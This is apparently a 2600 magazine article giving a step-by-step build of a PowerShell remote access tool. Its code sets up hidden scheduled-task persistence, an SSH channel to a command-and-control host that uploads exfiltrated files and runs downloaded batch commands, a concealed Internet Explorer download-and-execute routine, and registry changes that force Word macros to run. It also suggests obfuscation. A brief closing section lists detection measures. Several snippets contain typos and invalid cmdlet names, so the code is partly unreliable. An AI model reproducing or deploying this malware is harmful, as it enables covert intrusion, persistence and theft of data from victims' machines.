How to Write Malware in PowerShell - Tips and Tricks

by David

Malware is a broad name for a different kind of software.  In this article, I will describe some of the steps needed to created an example of malware in PowerShell.  This will run on most Windows machines out there.

The great thing about PowerShell is that it is a powerful scripting tool, and is available on all Windows versions 7 and beyond.

What Is Needed

The malware that I will describe is a Remote Access Tool (RAT).  In a former issue of 2600, a PowerShell virus was described, but this will take what is possible with PowerShell even further.  Throughout the text, this software will be described as both RAT and malware.

A RAT has some different components:

The malware that I will describe will use SSH as the channel.  This is due to the fact that SSH is encrypted, so it would be bad to have the possibility of packet inspecting malware traffic.

The malware will use scheduled tasks to obtain persistence.

Let's Get Started

Let us start with the persistence part:

```powershell
$T = New-ScheduledTaskTrigger -Once -RandomDelay 00:05:00 -RepepitionDuration (New-TimeSpan -Days 10000 ) -At (Get-Date).AddSeconds (10) -RepetitionInterval (New-TimeSpan -Minutes 15);
$P = New-ScheduledTaskPrincipal$env:USERNAME;
$S = New-ScheduledTaskSettingsSet;
$A = New-ScheduledTaskAction -Execute "powershell.exe" -Argument '-windowstyle hidden -command iex ([System.Text.Encoding]::Ascii.GetString([System.Convert]::FromBase64String(\"<the rat as base64 string\")))';
$D = New-ScheduledTask -Action $A -Principal $P -Trigger $T -Settings $S;
Register-ScheduledTaskStorageOptimizer -InputObject $D | Out-Null;
```

The first line defines a task that runs every 15 minutes (plus or minus five minutes).  The random delay is used to make sure that during forensics it is harder to detect since it is not running every X minutes, but instead runs in an irregular pattern.

The task is created for the user.  This could be an issue, but that is something for you to test.  As they say in some texts, left as an exercise for the reader.

Then the action is defined.  Here it is defined that it will run PowerShell, and also the parameters for PowerShell.

Last and not least, the task is created and registered.  And now, if everything went well, you will have malware that is persistent across boots.

What Now?

Now we need to make the RAT itself:

```powershell Set-ExecutionPolicy Unrestricted -Force -Scope CurrentUser;
```

The first line should be this.  This ensures that we can run whatever we want in the context of the current user.

The next part we need is to ensure that our covert channel to the C2 server works:

```powershell
$file = "$($env:TEMP)\Posh-SSH.zip";
if (!(Test-Path $file)) {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    $webclient = New-Object System.Net.WebClient;
    $url = "https://github.com/darkoperator/Posh-SSH/archive/master.zip";
    $webclient.DownloadFile($url,$file);
}
$targetondisk = "$($env:TEMP)";
if (!(Test-Path ($targetondisk+"\Posh-SSH\Posh-SSH.psm1"))) {
  New-Item -ItemType Directory -Force -Path $targetondisk | Out-Null;
  $shell_app=New-Object -comshell.application;
  $zip_file = $shell_app.namespace($file);
  $destination = $shell_app.namespace($targetondisk);
  $destination.Copyhere($zip_file.items(), 0x10);
  Rename-Item -Path ($targetondisk+"\Posh-SSH-master") -NewName "Posh-SSH" -Force;
}
Import-Module ($targetondisk+"\Posh-SSH\Posh-SSH.psd1");
```

Here we will use a PowerShell SSH module.  First, we test if the file exists.  If not, we will fetch it from the Internet.  Then we will check if the PowerShell module exists.  If not, we will unpack the ZIP file and load the module as the last line.

Now we are ready to communicate with the C2 server.

```powershell
$h = "c2_host.malware";
$port = 443;
$user = "c2test";
$password = ConvertTo-SecureString 'c2test' -AsPlainText -Force;
$Credential = New-Object System.Management.Automation.PSCredential ($user, $password);
$ss = New-SSHSession -ComputerName $h -Credential 
$Credential -Port $port -Force;
```

This is where we prepare the SSH session.  We connect to our host with username and password and are ready to run commands.

Here is the back-end - just a Linux server, so we will run a command to mark the start of a new session:

```powershell
Invoke-SSHCommand -Command ("touch latest_start_"+($env:COMPUTERNAME)) -SSHSession $ss;
```

Next we check to see if we have any data to exfiltrate to the C2 server.  If yes, then we upload the data:

```powershell
$s = New-SFTPSession -ComputerName $h -Credential $Credential -Port $port -Force;

if (Test-Path "$($env:TEMP) exfildata.zip") {
  Set-SFTPFile -SFTPSession $s -LocalFile "$($env:TEMP) exfildata.zip" -RemotePath "exfil_$(Get-Date)_$($env:COMPUTERNAME).zip";
  Remove-Item -Path "$($env:TEMP) exfildata.zip" -Force;
}
```

Now we need to see if we have any new commands that need to be run on the computer:

```powershell
if (Test-SFTPPath -SFTPSession $s "command_$($env:COMPUTERNAME).zip") {
   Get-SFTPFile -SFTPSession $s -RemoteFile "command_$($env:COMPUTERNAME).zip" -LocalPath "$($env:TEMP)command.zip" -Overwrite;
   Remove-SFTPItem -SFTPSession $s -Path "command_$($env:COMPUTERNAME).zip" -Force;
   $tmp = New-TemporaryFile;
   Remove-Item -Path $tmp -force;
   New-Item -Path $tmp -Type directory;
   $command_path = $tmp;
   $shell_app=New-Object -comshell.application;
   $z = $shell_app.namespace("$($env:TEMP)command.zip");
   $d = $shell_app.namespace($command_path);
   $d.Copyhere($zip_file.items(), 0x10);
   cmd.exe /c $command_path+"\optimize.bat";
   Remove-Item -Path "$($env:TEMP)command.zip" -Force;
   Remove-Item -Recurse - Path $command_path -Force;
}
```

Here we fetch a file that is named something with the computer name as well.  In this way, we should be able to control more than one computer from our C2 server.

The ZIP file that we fetch from the C2 server must contain a file called optimize.bat.

This is the BAT file that will run.  Any command that is needed must be started from that BAT file.

Afterwards, we will delete the file to clean them from the disk.  I know that it will still be possible to fetch from the Master File Table (MFT), but we should delete the files anyway to make it harder to be detected.

For the last part, we will do some housekeeping and disconnect from our C2 server and make a note on the server to tell it when we finished:

```powershell
$s.Disconnect();
Invoke-SSHCommand -Command ("touch latest_end_"+($env:COMPUTERNAME)) -SSHSession $ss;
$ss.Disconnect();
```

Other Tips and Tricks

If PowerShell is blocked from accessing the web, then just use Internet Explorer.  PowerShell has access to the .NET class library, therefore you can do this:

```powershell
$ie = New-Object -ComObject "InternetExplorer.Application"
$uri = "http://<some host>/base64_exe.html"
$ie.Visible = $false;
$ie.navigate($uri)
while ($ie.Busy) {Start-Sleep -Milliseconds 100 }
$data = $ie.Document.getElementsByTagName('body')[0].innerText

$ie.Quit()
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($ie)

$filename = "c:\windows\temp\runthis.exe"
[IO.File]::WriteAllBytes($filename, [Convert]::FromBase64String($data))
cmd /C $filename
```

This will create a COM object controlling Internet Explorer.  IE will connect to our C2 server (or some other server) and get an executable as Base64.  Then the script will convert from Base64 and run the command.

Another trick is to use PowerShell to run a macro in an Office document:

```powershell
$word = New-Object - ComObject word.application
$app = $word.Application
$app.visible = $false

#Enable macros
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$($word.Version)\word\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$($word.Version)\word\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null

#Open word document
$Document=$word.documents.open($filename)

#Run macros
$app.run("DoEvilStuff")

#Disable macros
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$($word.Version)\word\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$($word.Version)\word\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null
```

Here we have a file - in this case a Word file.  We enable macros, open the document, run the macro, and disable macros again.

For extra credits you can encrypt strings in PowerShell or obfuscate the strings.  You can also use Invoke-Obfuscation to further obfuscate the PowerShell script before you convert it to Base64 to be included in the stager.

But Malware Is Bad, Right?

Yes, malware is bad.  But you need to know bad to separate the bad from the good.  This malware may not leave a file on disk, but can be traced by looking at scheduled tasks in Windows.

In Windows you have the capability of enabling a transcript to log everything that the user does in PowerShell.  This can be enabled using a Group Policy Object (GPO).  This will help you when doing forensics to see if any bad PowerShell was run.  You can try it for yourself using the Start-Transcript cmdlet.

You can also log PowerShell executions in Event Logs.  This is only possible from PowerShell 5.1.

Last but not least, you can use an Endpoint Detection and Response (EDR) solution like Cisco Umbrella, Microsoft ATP (now Microsoft Defender for Endpoint), or something else to detect obfuscated PowerShell and deny or at least log the incident.

And remember!  Stay safe.  Stay legal.

Posh-SSH-master.zip

Return to $2600 Index